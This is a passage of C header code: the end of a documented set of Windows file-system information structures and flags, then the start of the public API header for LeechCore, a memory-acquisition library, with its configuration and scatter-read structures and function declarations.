time to maintain sort order. */ ULONG FileIndex; /** * Time when the file was created. */ LARGE_INTEGER CreationTime; /** * Last time the file was accessed. */ LARGE_INTEGER LastAccessTime; /** * Last time information was written to the file. */ LARGE_INTEGER LastWriteTime; /** * Last time the file was changed. */ LARGE_INTEGER ChangeTime; /** * Absolute new end-of-file position as a byte offset from the start of the file. * EndOfFile specifies the byte offset to the end of the file. * Because this value is zero-based, it actually refers to the first free byte in the file. In other words, * EndOfFile is the offset to the byte immediately following the last valid byte in the file. */ LARGE_INTEGER EndOfFile; /** * File allocation size, in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device. */ LARGE_INTEGER AllocationSize; /** * File attributes, which can be any valid combination of the following: * * \li \c FILE_ATTRIBUTE_READONLY * \li \c FILE_ATTRIBUTE_HIDDEN * \li \c FILE_ATTRIBUTE_SYSTEM * \li \c FILE_ATTRIBUTE_DIRECTORY * \li \c FILE_ATTRIBUTE_ARCHIVE * \li \c FILE_ATTRIBUTE_NORMAL * \li \c FILE_ATTRIBUTE_TEMPORARY * \li \c FILE_ATTRIBUTE_COMPRESSED */ ULONG FileAttributes; /** * Specifies the length of the file name string. */ ULONG FileNameLength; /** * Combined length, in bytes, of the extended attributes (EA) for the file. */ ULONG EaSize; /** * Specifies the length, in bytes, of the short file name string. */ CCHAR ShortNameLength; /** * Unicode string containing the short (8.3) name for the file. */ WCHAR ShortName[12]; /** * The 8-byte file reference number for the file. This number is generated and assigned to the file by the file system. * (Note that the FileId is not the same as the 16-byte "file object ID" that was added to NTFS for Microsoft Windows 2000.) */ LARGE_INTEGER FileId; /** * Specifies the first character of the file name string. This is followed in memory by the remainder of the string. */ WCHAR FileName[1]; } FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; /** * \struct FILE_ID_EXTD_BOTH_DIR_INFORMATION * \brief Used to query detailed information for the files in a directory. */ typedef struct _FILE_ID_EXTD_BOTH_DIR_INFORMATION { /** * Byte offset of the next FILE_DIRECTORY_INFORMATION entry, if multiple entries are present in a buffer. * This member is zero if no other entries follow this one. */ ULONG NextEntryOffset; /** * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS, * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order. */ ULONG FileIndex; /** * Time when the file was created. */ LARGE_INTEGER CreationTime; /** * Last time the file was accessed. */ LARGE_INTEGER LastAccessTime; /** * Last time information was written to the file. */ LARGE_INTEGER LastWriteTime; /** * Last time the file was changed. */ LARGE_INTEGER ChangeTime; /** * Absolute new end-of-file position as a byte offset from the start of the file. * EndOfFile specifies the byte offset to the end of the file. * Because this value is zero-based, it actually refers to the first free byte in the file. In other words, * EndOfFile is the offset to the byte immediately following the last valid byte in the file. */ LARGE_INTEGER EndOfFile; /** * File allocation size, in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device. */ LARGE_INTEGER AllocationSize; /** * File attributes, which can be any valid combination of the following: * * \li \c FILE_ATTRIBUTE_READONLY * \li \c FILE_ATTRIBUTE_HIDDEN * \li \c FILE_ATTRIBUTE_SYSTEM * \li \c FILE_ATTRIBUTE_DIRECTORY * \li \c FILE_ATTRIBUTE_ARCHIVE * \li \c FILE_ATTRIBUTE_NORMAL * \li \c FILE_ATTRIBUTE_TEMPORARY * \li \c FILE_ATTRIBUTE_COMPRESSED */ ULONG FileAttributes; /** * Specifies the length of the file name string. */ ULONG FileNameLength; /** * Combined length, in bytes, of the extended attributes (EA) for the file. */ ULONG EaSize; /** * Tag value for the reparse point. */ ULONG ReparsePointTag; /** * The 128-byte file reference number for the file. This number is generated and assigned to the file by the file system. */ FILE_ID_128 FileId; /** * Specifies the length, in bytes, of the short file name string. */ CCHAR ShortNameLength; /** * Unicode string containing the short (8.3) name for the file. */ WCHAR ShortName[12]; /** * Specifies the first character of the file name string. This is followed in memory by the remainder of the string. */ WCHAR FileName[1]; } FILE_ID_EXTD_BOTH_DIR_INFORMATION, *PFILE_ID_EXTD_BOTH_DIR_INFORMATION; /** * \struct FILE_NAMES_INFORMATION * \brief Used to query detailed information about the names of files in a directory. */ typedef struct _FILE_NAMES_INFORMATION { /** * Byte offset for the next FILE_NAMES_INFORMATION entry, if multiple entries are present in a buffer. * This member is zero if no other entries follow this one. */ ULONG NextEntryOffset; /** * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS, * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order. */ ULONG FileIndex; /** * Specifies the length of the file name string. */ ULONG FileNameLength; /** * Specifies the first character of the file name string. This is followed in memory by the remainder of the string. */ WCHAR FileName[1]; } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; #define ANSI_DOS_STAR ('<') #define ANSI_DOS_QM ('>') #define ANSI_DOS_DOT ('"') #define DOS_STAR (L'<') #define DOS_QM (L'>') #define DOS_DOT (L'"') /** * \struct FILE_INTERNAL_INFORMATION * \brief Used to query for the file system's 8-byte file reference number for a file. * * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileInternalInformation */ typedef struct _FILE_INTERNAL_INFORMATION { /** * The 8-byte file reference number for the file. This number is assigned by the file system and is file-system-specific. * (Note that this is not the same as the 16-byte "file object ID" that was added to NTFS for Microsoft Windows 2000.) */ LARGE_INTEGER IndexNumber; } FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; /** * \struct FILE_ID_INFORMATION * \brief Contains identification information for a file. * * This structure is returned from the GetFileInformationByHandleEx function when FileIdInfo is passed in the FileInformationClass parameter. * * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileIdInformation */ typedef struct _FILE_ID_INFORMATION { /** * The serial number of the volume that contains a file. */ ULONGLONG VolumeSerialNumber; /** * The 128-bit file identifier for the file. The file identifier and the volume serial number uniquely identify a file on a single computer. * To determine whether two open handles represent the same file, combine the identifier and the volume serial number for each file and compare them. */ FILE_ID_128 FileId; } FILE_ID_INFORMATION, *PFILE_ID_INFORMATION; /** * \struct FILE_EA_INFORMATION * \brief Used to query for the size of the extended attributes (EA) for a file. * * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileEaInformation and FileAllInformation */ typedef struct _FILE_EA_INFORMATION { /** * Specifies the combined length, in bytes, of the extended attributes for the file. */ ULONG EaSize; } FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; /** * \struct FILE_ACCESS_INFORMATION * \brief Used to query for or set the access rights of a file. * * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileAllInformation */ typedef struct _FILE_ACCESS_INFORMATION { /** * Flags that specify a set of access rights in the access mask of an access control entry. * This member is a value of type ACCESS_MASK. */ ACCESS_MASK AccessFlags; } FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; /** * \struct FILE_MODE_INFORMATION * \brief Used to query or set the access mode of a file. * * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileAllInformation */ typedef struct _FILE_MODE_INFORMATION { /** * Specifies the mode in which the file will be accessed following a create-file or open-file operation. * This parameter is either zero or the bitwise OR of one or more of the following file option flags: * * \li \c FILE_WRITE_THROUGH * \li \c FILE_SEQUENTIAL_ONLY * \li \c FILE_NO_INTERMEDIATE_BUFFERING * \li \c FILE_SYNCHRONOUS_IO_ALERT * \li \c FILE_SYNCHRONOUS_IO_NONALERT * \li \c FILE_DELETE_ON_CLOSE */ ULONG Mode; } FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; /** * \struct FILE_ALL_INFORMATION * \brief Structure is a container for several FILE_XXX_INFORMATION structures. * * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileAllInformation */ typedef struct _FILE_ALL_INFORMATION { /** \see FILE_BASIC_INFORMATION */ FILE_BASIC_INFORMATION BasicInformation; /** \see FILE_STANDARD_INFORMATION */ FILE_STANDARD_INFORMATION StandardInformation; /** \see FILE_INTERNAL_INFORMATION */ FILE_INTERNAL_INFORMATION InternalInformation; /** \see FILE_EA_INFORMATION */ FILE_EA_INFORMATION EaInformation; /** \see FILE_ACCESS_INFORMATION */ FILE_ACCESS_INFORMATION AccessInformation; /** \see FILE_POSITION_INFORMATION */ FILE_POSITION_INFORMATION PositionInformation; /** \see FILE_MODE_INFORMATION */ FILE_MODE_INFORMATION ModeInformation; /** \see FILE_ALIGNMENT_INFORMATION */ FILE_ALIGNMENT_INFORMATION AlignmentInformation; /** \see FILE_NAME_INFORMATION */ FILE_NAME_INFORMATION NameInformation; } FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; /** * \struct FILE_ALLOCATION_INFORMATION * \brief Used to set the allocation size for a file. * * The struct is requested during IRP_MJ_SET_INFORMATION with query FileAllocationInformation */ typedef struct _FILE_ALLOCATION_INFORMATION { /** * File allocation size, in bytes. Usually this value is a multiple * of the sector or cluster size of the underlying physical device. */ LARGE_INTEGER AllocationSize; } FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; /** * \struct FILE_LINK_INFORMATION * \brief Used to create an NTFS hard link to an existing file. * * The struct is requested during IRP_MJ_SET_INFORMATION with query FileLinkInformation */ typedef struct _FILE_LINK_INFORMATION { /** * Set to TRUE to specify that if the link already exists, it should be replaced with the new link. * Set to FALSE if the link creation operation should fail if the link already exists. */ BOOLEAN ReplaceIfExists; /** * If the link is to be created in the same directory as the file that is being linked to, * or if the FileName member contains the full pathname for the link to be created, this is NULL. * Otherwise it is a handle for the directory where the link is to be created. */ HANDLE RootDirectory; /** * Length, in bytes, of the file name string. */ ULONG FileNameLength; /** * The first character of the name to be assigned to the newly created link. * This is followed in memory by the remainder of the string. * If the RootDirectory member is NULL and the link is to be created in a different directory from the file that is being linked to, * this member specifies the full pathname for the link to be created. Otherwise, it specifies only the file name. * (See the Remarks section for ZwQueryInformationFile for details on the syntax of this file name string.) */ WCHAR FileName[1]; } FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; /** * \struct FILE_RENAME_INFORMATION * \brief Used to rename a file. * * The struct is requested during IRP_MJ_SET_INFORMATION with query FileRenameInformation */ typedef struct _FILE_RENAME_INFORMATION { /** * Set to TRUE to specify that if a file with the given name already exists, it should be replaced with the given file. * Set to FALSE if the rename operation should fail if a file with the given name already exists. */ BOOLEAN ReplaceIfExists; /** * If the file is not being moved to a different directory, * or if the FileName member contains the full pathname, this member is NULL. Otherwise, * it is a handle for the root directory under which the file will reside after it is renamed. */ HANDLE RootDirectory; /** * Length, in bytes, of the new name for the file. */ ULONG FileNameLength; /** * The first character of a wide-character string containing the new name for the file. * This is followed in memory by the remainder of the string. If the RootDirectory member is NULL, * and the file is being moved to a different directory, this member specifies the full pathname to be assigned to the file. * Otherwise, it specifies only the file name or a relative pathname. */ WCHAR FileName[1]; } FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; /** * \struct FILE_STREAM_INFORMATION * \brief Used to enumerate the streams for a file. * * The struct is requested during IRP_MJ_SET_INFORMATION query FileStreamInformation */ typedef struct _FILE_STREAM_INFORMATION { /** * The offset of the next FILE_STREAM_INFORMATION entry. * This member is zero if no other entries follow this one. */ ULONG NextEntryOffset; /** * Length, in bytes, of the StreamName string. */ ULONG StreamNameLength; /** * Size, in bytes, of the stream. */ LARGE_INTEGER StreamSize; /** * File stream allocation size, in bytes. Usually this value is a multiple of the sector * or cluster size of the underlying physical device. */ LARGE_INTEGER StreamAllocationSize; /** * Unicode string that contains the name of the stream. */ WCHAR StreamName[1]; } FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; /** * \struct FILE_FS_LABEL_INFORMATION * \brief Used to set the label for a file system volume. * * The struct is requested during IRP_MJ_SET_VOLUME_INFORMATION query FileFsLabelInformation */ typedef struct _FILE_FS_LABEL_INFORMATION { /** * Length, in bytes, of the name for the volume. */ ULONG VolumeLabelLength; /** * Name for the volume. */ WCHAR VolumeLabel[1]; } FILE_FS_LABEL_INFORMATION, *PFILE_FS_LABEL_INFORMATION; /** * \struct FILE_FS_VOLUME_INFORMATION * \brief Used to query information about a volume on which a file system is mounted. * * The struct is requested during IRP_MJ_QUERY_VOLUME_INFORMATION query FileFsVolumeInformation */ typedef struct _FILE_FS_VOLUME_INFORMATION { /** * Time when the volume was created. */ LARGE_INTEGER VolumeCreationTime; /** * Serial number of the volume. */ ULONG VolumeSerialNumber; /** * Length, in bytes, of the name of the volume. */ ULONG VolumeLabelLength; /** * TRUE if the file system supports object-oriented file system objects, FALSE otherwise. */ BOOLEAN SupportsObjects; /** * Name of the volume. */ WCHAR VolumeLabel[1]; } FILE_FS_VOLUME_INFORMATION, *PFILE_FS_VOLUME_INFORMATION; /** * \struct FILE_FS_SIZE_INFORMATION * \brief Used to query sector size information for a file system volume. * * The struct is requested during IRP_MJ_QUERY_VOLUME_INFORMATION query FileFsSizeInformation */ typedef struct _FILE_FS_SIZE_INFORMATION { /** * Total number of allocation units on the volume that are available to the user associated with the calling thread. * If per-user quotas are in use, this value may be less than the total number of allocation units on the disk. */ LARGE_INTEGER TotalAllocationUnits; /** * Total number of free allocation units on the volume that are available to the user associated with the calling thread. * If per-user quotas are in use, this value may be less than the total number of free allocation units on the disk. */ LARGE_INTEGER AvailableAllocationUnits; /** * Number of sectors in each allocation unit. */ ULONG SectorsPerAllocationUnit; /** * Number of bytes in each sector. */ ULONG BytesPerSector; } FILE_FS_SIZE_INFORMATION, *PFILE_FS_SIZE_INFORMATION; /** * \struct FILE_FS_FULL_SIZE_INFORMATION * \brief Used to query sector size information for a file system volume. * * The struct is requested during IRP_MJ_QUERY_VOLUME_INFORMATION query FileFsFullSizeInformation */ typedef struct _FILE_FS_FULL_SIZE_INFORMATION { /** * Total number of allocation units on the volume that are available to the user associated with the calling thread. * If per-user quotas are in use, this value may be less than the total number of allocation units on the disk. */ LARGE_INTEGER TotalAllocationUnits; /** * Total number of free allocation units on the volume that are available to the user associated with the calling thread. * If per-user quotas are in use, this value may be less than the total number of free allocation units on the disk. */ LARGE_INTEGER CallerAvailableAllocationUnits; /** * Total number of free allocation units on the volume. */ LARGE_INTEGER ActualAvailableAllocationUnits; /** * Number of sectors in each allocation unit. */ ULONG SectorsPerAllocationUnit; /** * Number of bytes in each sector. */ ULONG BytesPerSector; } FILE_FS_FULL_SIZE_INFORMATION, *PFILE_FS_FULL_SIZE_INFORMATION; /** * \struct FILE_FS_ATTRIBUTE_INFORMATION * \brief Used to query attribute information for a file system. * * The struct is requested during IRP_MJ_QUERY_VOLUME_INFORMATION query FileFsAttributeInformation */ typedef struct _FILE_FS_ATTRIBUTE_INFORMATION { /** * Bitmask of flags specifying attributes of the specified file system. * \see https://msdn.microsoft.com/en-us/library/windows/hardware/ff540251(v=vs.85).aspx */ ULONG FileSystemAttributes; /** * Maximum file name component length, in bytes, supported by the specified file system. * A file name component is that portion of a file name between backslashes. */ LONG MaximumComponentNameLength; /** * Length, in bytes, of the file system name. */ ULONG FileSystemNameLength; /** * File system name. */ WCHAR FileSystemName[1]; } FILE_FS_ATTRIBUTE_INFORMATION, *PFILE_FS_ATTRIBUTE_INFORMATION; /** * \struct FILE_NETWORK_OPEN_INFORMATION * \brief Used as an argument to ZwQueryInformationFile. * * The struct is requested during IRP_MJ_QUERY_VOLUME_INFORMATION query FileNetworkOpenInformation */ typedef struct _FILE_NETWORK_OPEN_INFORMATION { /** * Specifies the time that the file was created. */ LARGE_INTEGER CreationTime; /** * Specifies the time that the file was last accessed. */ LARGE_INTEGER LastAccessTime; /** * Specifies he time that the file was last written to. */ LARGE_INTEGER LastWriteTime; /** * Specifies the time that the file was last changed. */ LARGE_INTEGER ChangeTime; /** * Specifies the file allocation size, in bytes. Usually, * this value is a multiple of the sector or cluster size of the underlying physical device. */ LARGE_INTEGER AllocationSize; /** * Specifies the absolute end-of-file position as a byte offset from the start of the file. * EndOfFile specifies the byte offset to the end of the file. Because this value is zero-based, * it actually refers to the first free byte in the file. In other words, * EndOfFile is the offset to the byte immediately following the last valid byte in the file. */ LARGE_INTEGER EndOfFile; /** * Specifies one or more FILE_ATTRIBUTE_XXX flags. For descriptions of these flags, * see the documentation of the GetFileAttributes function in the Microsoft Windows SDK. */ ULONG FileAttributes; } FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; /** * \struct FILE_NETWORK_PHYSICAL_NAME_INFORMATION * \brief Contains the full UNC physical pathname for a file or directory on a remote file share. * * The struct is requested during IRP_MJ_QUERY_VOLUME_INFORMATION query FileNetworkPhysicalNameInformation */ typedef struct _FILE_NETWORK_PHYSICAL_NAME_INFORMATION { /** * The length, in bytes, of the physical name in FileName. */ ULONG FileNameLength; /** * The full UNC path of the network file share of the target. */ WCHAR FileName[1]; } FILE_NETWORK_PHYSICAL_NAME_INFORMATION, *PFILE_NETWORK_PHYSICAL_NAME_INFORMATION; #define SL_RESTART_SCAN 0x01 #define SL_RETURN_SINGLE_ENTRY 0x02 #define SL_INDEX_SPECIFIED 0x04 #define SL_FORCE_ACCESS_CHECK 0x01 #define SL_OPEN_PAGING_FILE 0x02 #define SL_OPEN_TARGET_DIRECTORY 0x04 #define SL_CASE_SENSITIVE 0x80 #define ALIGN_DOWN(length, type) ((ULONG)(length) & ~(sizeof(type) - 1)) #define ALIGN_UP(length, type) \ (ALIGN_DOWN(((ULONG)(length) + sizeof(type) - 1), type)) #define ALIGN_DOWN_POINTER(address, type) \ ((PVOID)((ULONG_PTR)(address) & ~((ULONG_PTR)sizeof(type) - 1))) #define ALIGN_UP_POINTER(address, type) \ (ALIGN_DOWN_POINTER(((ULONG_PTR)(address) + sizeof(type) - 1), type)) #define WordAlign(Val) (ALIGN_UP(Val, WORD)) #define WordAlignPtr(Ptr) (ALIGN_UP_POINTER(Ptr, WORD)) #define LongAlign(Val) (ALIGN_UP(Val, LONG)) #define LongAlignPtr(Ptr) (ALIGN_UP_POINTER(Ptr, LONG)) #define QuadAlign(Val) (ALIGN_UP(Val, ULONGLONG)) #define QuadAlignPtr(Ptr) (ALIGN_UP_POINTER(Ptr, ULONGLONG)) #define IsPtrQuadAligned(Ptr) (QuadAlignPtr(Ptr) == (PVOID)(Ptr)) // from wdm.h #define FILE_SUPERSEDE 0x00000000 #define FILE_OPEN 0x00000001 #define FILE_CREATE 0x00000002 #define FILE_OPEN_IF 0x00000003 #define FILE_OVERWRITE 0x00000004 #define FILE_OVERWRITE_IF 0x00000005 #define FILE_MAXIMUM_DISPOSITION 0x00000005 #define FILE_DIRECTORY_FILE 0x00000001 #define FILE_WRITE_THROUGH 0x00000002 #define FILE_SEQUENTIAL_ONLY 0x00000004 #define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 #define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 #define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 #define FILE_NON_DIRECTORY_FILE 0x00000040 #define FILE_CREATE_TREE_CONNECTION 0x00000080 #define FILE_COMPLETE_IF_OPLOCKED 0x00000100 #define FILE_NO_EA_KNOWLEDGE 0x00000200 #define FILE_OPEN_REMOTE_INSTANCE 0x00000400 #define FILE_RANDOM_ACCESS 0x00000800 #define FILE_DELETE_ON_CLOSE 0x00001000 #define FILE_OPEN_BY_FILE_ID 0x00002000 #define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 #define FILE_NO_COMPRESSION 0x00008000 #if (_WIN32_WINNT >= _WIN32_WINNT_WIN7) #define FILE_OPEN_REQUIRING_OPLOCK 0x00010000 #define FILE_DISALLOW_EXCLUSIVE 0x00020000 #endif /* _WIN32_WINNT >= _WIN32_WINNT_WIN7 */ #if (_WIN32_WINNT >= _WIN32_WINNT_WIN8) #define FILE_SESSION_AWARE 0x00040000 #endif /* _WIN32_WINNT >= _WIN32_WINNT_WIN7 */ #define FILE_RESERVE_OPFILTER 0x00100000 #define FILE_OPEN_REPARSE_POINT 0x00200000 #define FILE_OPEN_NO_RECALL 0x00400000 #define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 #define FILE_VALID_OPTION_FLAGS 0x00ffffff #define FILE_SUPERSEDED 0x00000000 #define FILE_OPENED 0x00000001 #define FILE_CREATED 0x00000002 #define FILE_OVERWRITTEN 0x00000003 #define FILE_EXISTS 0x00000004 #define FILE_DOES_NOT_EXIST 0x00000005 #define FILE_WRITE_TO_END_OF_FILE 0xffffffff #define FILE_USE_FILE_POINTER_POSITION 0xfffffffe /** * \struct UNICODE_STRING * \brief Structure is used to define Unicode strings. */ typedef struct _UNICODE_STRING { /** * The length, in bytes, of the string stored in Buffer. */ USHORT Length; /** * The length, in bytes, of Buffer. */ USHORT MaximumLength; /** * Pointer to a buffer used to contain a string of wide characters. */ PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; #endif // FILEINFO_H_ ``` `includes/leechcore.h`: ```h // leechcore.h : external header of the LeechCore library. // // LeechCore is a library which abstracts away reading and writing to various // software and hardware acquisition sources. Sources ranges from memory dump // files to driver backed live memory to hardware (FPGA) DMA backed memory. // // LeechCore built-in device support may be extended with external plugin // device drivers placed as .dll or .so files in the same folder as LeechCore. // // For more information please consult the LeechCore information on Github: // - README: https://github.com/ufrisk/LeechCore // - GUIDE: https://github.com/ufrisk/LeechCore/wiki // // (c) Ulf Frisk, 2020-2026 // Author: Ulf Frisk, pcileech@frizk.net // // Header Version: 2.20.0 // #ifndef __LEECHCORE_H__ #define __LEECHCORE_H__ #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ //----------------------------------------------------------------------------- // OS COMPATIBILITY BELOW: //----------------------------------------------------------------------------- #ifdef _WIN32 #include #define EXPORTED_FUNCTION __declspec(dllexport) typedef unsigned __int64 QWORD, *PQWORD; #endif /* _WIN32 */ #if defined(LINUX) || defined(MACOS) #include #include #define EXPORTED_FUNCTION __attribute__((visibility("default"))) typedef void VOID, *PVOID, *HANDLE, **PHANDLE, *HMODULE; typedef long long unsigned int QWORD, *PQWORD, ULONG64, *PULONG64; typedef size_t SIZE_T, *PSIZE_T; typedef uint64_t FILETIME, *PFILETIME; typedef uint32_t DWORD, *PDWORD, *LPDWORD, BOOL, *PBOOL, NTSTATUS; typedef uint16_t WORD, *PWORD; typedef uint8_t BYTE, *PBYTE, *LPBYTE, UCHAR; typedef char CHAR, *PCHAR, *LPSTR; typedef const char *LPCSTR; typedef uint16_t WCHAR, *PWCHAR, *LPWSTR; typedef const uint16_t *LPCWSTR; #define MAX_PATH 260 #define _In_ #define _In_z_ #define _In_opt_ #define _In_reads_(x) #define _In_reads_bytes_(x) #define _In_reads_bytes_opt_(x) #define _In_reads_opt_(x) #define _Inout_ #define _Inout_bytecount_(x) #define _Inout_opt_ #define _Inout_updates_opt_(x) #define _Out_ #define _Out_opt_ #define _Out_writes_(x) #define _Out_writes_bytes_opt_(x) #define _Out_writes_opt_(x) #define _Out_writes_to_(x,y) #define _When_(x,y) #define _Frees_ptr_opt_ #define _Post_ptr_invalid_ #define _Check_return_opt_ #define _Printf_format_string_ #define _Success_(x) #endif /* LINUX || MACOS */ //----------------------------------------------------------------------------- // Create and Close LeechCore devices: // It's possible to create multiple LeechCore devices in parallel and also of // different types if the underlying device will allow this. LeechCore will // automatically take care of and abstract away any hardware/software issues // with regards to the underlying devices. // // For more information about supported devices please check out the LeechCore // guide at: https://github.com/ufrisk/LeechCore/wiki //----------------------------------------------------------------------------- #define LC_CONFIG_VERSION 0xc0fd0002 #define LC_CONFIG_ERRORINFO_VERSION 0xc0fe0002 #define LC_CONFIG_PRINTF_ENABLED 0x01 #define LC_CONFIG_PRINTF_V 0x02 #define LC_CONFIG_PRINTF_VV 0x04 #define LC_CONFIG_PRINTF_VVV 0x08 typedef struct LC_CONFIG { // below are set by caller DWORD dwVersion; // must equal LC_CREATE_VERSION DWORD dwPrintfVerbosity; // printf verbosity according to LC_PRINTF_* CHAR szDevice[MAX_PATH]; // device configuration - see wiki for additional info. CHAR szRemote[MAX_PATH]; // remote configuration - see wiki for additional info. _Check_return_opt_ int(*pfn_printf_opt)(_In_z_ _Printf_format_string_ char const *const _Format, ...); // below are set by caller, updated by LeecCore QWORD paMax; // max physical address (disables any max address auto-detect). // below are set by LeechCore BOOL fVolatile; BOOL fWritable; BOOL fRemote; BOOL fRemoteDisableCompress; CHAR szDeviceName[MAX_PATH]; // device name - such as 'fpga' or 'file'. } LC_CONFIG, *PLC_CONFIG; typedef struct tdLC_CONFIG_ERRORINFO { DWORD dwVersion; // must equal LC_CONFIG_ERRORINFO_VERSION DWORD cbStruct; DWORD _FutureUse[16]; BOOL fUserInputRequest; DWORD cwszUserText; WCHAR wszUserText[]; } LC_CONFIG_ERRORINFO, *PLC_CONFIG_ERRORINFO, **PPLC_CONFIG_ERRORINFO; /* * Create a new LeechCore device according to the supplied configuration. * CALLER LcMemFree: ppLcCreateErrorInfo * -- pLcCreateConfig * -- ppLcCreateErrorInfo = ptr to receive function allocated struct with error * information upon function failure. This info may contain a user message * requesting user action as an example. Any returned struct should be * free'd by a call to LcMemFree(). * -- return */ EXPORTED_FUNCTION _Success_(return != NULL) HANDLE LcCreate( _Inout_ PLC_CONFIG pLcCreateConfig ); EXPORTED_FUNCTION _Success_(return != NULL) HANDLE LcCreateEx( _Inout_ PLC_CONFIG pLcCreateConfig, _Out_opt_ PPLC_CONFIG_ERRORINFO ppLcCreateErrorInfo ); /* * Close a LeechCore handle and free any resources no longer needed. */ EXPORTED_FUNCTION VOID LcClose( _In_opt_ _Post_ptr_invalid_ HANDLE hLC ); //----------------------------------------------------------------------------- // Read and Write memory from underlying device either using contiguous method // or more recommended scatter method. // // The MEM_SCATTER struct allows reading and writing of discontiguous memory // chunks which must adhere to the following rules: // - maximum size = 0x1000 (4096) bytes = recommended size. // - minimum size = 2 DWORDs (8 bytes). // - must be DWORD (4 byte) aligned. // - must never cross 0x1000 page boundary. // - max value of iStack = MEM_SCATTER_STACK_SIZE - 2. //----------------------------------------------------------------------------- #define MEM_SCATTER_VERSION 0xc0fe0002 #define MEM_SCATTER_STACK_SIZE 12 typedef struct tdMEM_SCATTER { DWORD version; // MEM_SCATTER_VERSION BOOL f; // TRUE = success data in pb, FALSE = fail or not yet read. QWORD qwA; // address of memory to read union { PBYTE pb; // buffer to hold memory contents QWORD _Filler; }; DWORD cb; // size of buffer to hold memory contents. DWORD iStack; // internal stack pointer QWORD vStack[MEM_SCATTER_STACK_SIZE]; // internal stack } MEM_SCATTER, *PMEM_SCATTER, **PPMEM_SCATTER; #define MEM_SCATTER_ADDR_INVALID ((QWORD)-1) #define MEM_SCATTER_ADDR_ISINVALID(pMEM) (pMEM->qwA == (QWORD)-1) #define MEM_SCATTER_ADDR_ISVALID(pMEM) (pMEM->qwA != (QWORD)-1) #define MEM_SCATTER_STACK_PUSH(pMEM, v) (pMEM->vStack[pMEM->iStack++] = (QWORD)(v)) #define MEM_SCATTER_STACK_PEEK(pMEM, i) (pMEM->vStack[pMEM->iStack - i]) #define MEM_SCATTER_STACK_SET(pMEM, i, v) (pMEM->vStack[pMEM->iStack - i] = (QWORD)(v)) #define MEM_SCATTER_STACK_ADD(pMEM, i, v) (pMEM->vStack[pMEM->iStack - i] += (QWORD)(v)) #define MEM_SCATTER_STACK_POP(pMEM) (pMEM->vStack[--pMEM->iStack]) /* * Free LeechCore allocated memory such as memory allocated by the * LcAllocScatter / LcCommand functions. * -- pv */ EXPORTED_FUNCTION VOID LcMemFree( _Frees_ptr_opt_ PVOID pv ); /* * Allocate and pre-initialize empty MEMs including a 0x1000 buffer for each * pMEM. The result should be freed by LcFree when its no longer needed. * The 0x1000-sized per-MEM memory buffers are contigious between MEMs in order. * -- cMEMs * -- pppMEMs = pointer to receive ppMEMs * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL LcAllocScatter1( _In_ DWORD cMEMs, _Out_ PPMEM_SCATTER *pppMEMs ); /* * Allocate and pre-initialize empty MEMs excluding the 0x1000 buffer which * will be accounted towards the pbData buffer in a contiguous way. * The result should be freed by LcFree when its no longer needed. * -- cbData = size of pbData (must be cMEMs * 0x1000) * -- pbData = buffer used for MEM.pb * -- cMEMs * -- pppMEMs = pointer to receive ppMEMs * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL LcAllocScatter2( _In_ DWORD cbData, _Inout_updates_opt_(cbData) PBYTE pbData, _In_ DWORD cMEMs, _Out_ PPMEM_SCATTER *pppMEMs ); /* * Allocate and pre-initialize empty MEMs excluding the 0x1000 buffer which * will be accounted towards the pbData buffer in a contiguous way. * -- pbDataFirstPage = optional buffer of first page * -- pbDataLastPage = optional buffer of last page * -- cbData = size of pbData * -- pbData = buffer used for MEM.pb except first/last if exists * -- cMEMs * -- pppMEMs = pointer to receive ppMEMs * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL LcAllocScatter3( _Inout_updates_opt_(0x1000) PBYTE pbDataFirstPage, _Inout_updates_opt_(0x1000) PBYTE pbDataLastPage, _In_ DWORD cbData, _Inout_updates_opt_(cbData) PBYTE pbData, _In_ DWORD cMEMs, _Out_ PPMEM_SCATTER *pppMEMs ); /* * Read memory in a scattered non-contiguous way. This is recommended for reads. * -- hLC * -- cMEMs * -- ppMEMs */ EXPORTED_FUNCTION VOID LcReadScatter( _In_ HANDLE hLC, _In_ DWORD cMEMs, _Inout_ PPMEM_SCATTER ppMEMs ); /* * Read memory in a contiguous way. Note that if multiple memory segments are * to be read LcReadScatter() may be more efficient. * -- hLC, * -- pa * -- cb * -- pb * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL LcRead( _In_ HANDLE hLC, _In_ QWORD pa, _In_ DWORD cb, _Out_writes_(cb) PBYTE pb ); /* * Write memory in a scattered non-contiguous way. * -- hLC * -- cMEMs * -- ppMEMs */ EXPORTED_FUNCTION VOID LcWriteScatter( _In_ HANDLE hLC, _In_ DWORD cMEMs, _Inout_ PPMEM_SCATTER 